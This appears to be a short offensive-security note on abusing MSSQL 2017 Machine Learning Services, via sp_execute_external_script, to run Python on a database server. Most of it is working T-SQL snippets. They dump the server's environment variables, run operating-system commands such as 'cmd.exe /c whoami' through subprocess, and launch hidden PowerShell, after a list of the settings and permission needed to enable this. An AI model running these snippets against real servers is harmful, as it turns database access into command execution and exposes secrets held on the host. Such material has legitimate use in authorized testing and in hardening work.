# Executing Python in MSSQL
MSSQL 2017 includes Microsoft Machine Learning Services, which allows for the execution of Python and R scripts within MSSQL via `sp_execute_external_script`. This is an expansion of the functionality available in MSSQL 2016, which allowed for the execution of R scripts with SQL Server R Services. Examples of how to abuse this functionality with R scripts are available [elsewhere](https://pastebin.com/zBDnzELT). 

To execute Python code:
  - `Machine Learning Services (In-Database)` and `Python` must have been selected during installation
  - External scripts must be enabled
    - `EXEC sp_configure  'external scripts enabled', 1`
    - `RECONFIGURE WITH OVERRIDE`
    - Restart the database server
  - The user must have `EXECUTE ANY EXTERNAL SCRIPT`
# Examples
## Python Version
```
exec sp_execute_external_script 
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))
```
## Environment Variables
```
exec sp_execute_external_script 
@language =N'Python',
@script=N'import os
OutputDataSet["env_variable"] = pandas.Series([i[0] for i in os.environ.items()])
OutputDataSet["env_value"] = pandas.Series([i[1] for i in os.environ.items()])'
WITH RESULT SETS ((env_variable nvarchar(max), env_value nvarchar(max)))
```
## Shell Commands
```
exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
```
## Powershell
```
exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("powershell.exe -nop -w hidden -c $PSVersionTable.PSVersion.toString()", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([powershell_version] nvarchar(max)))
```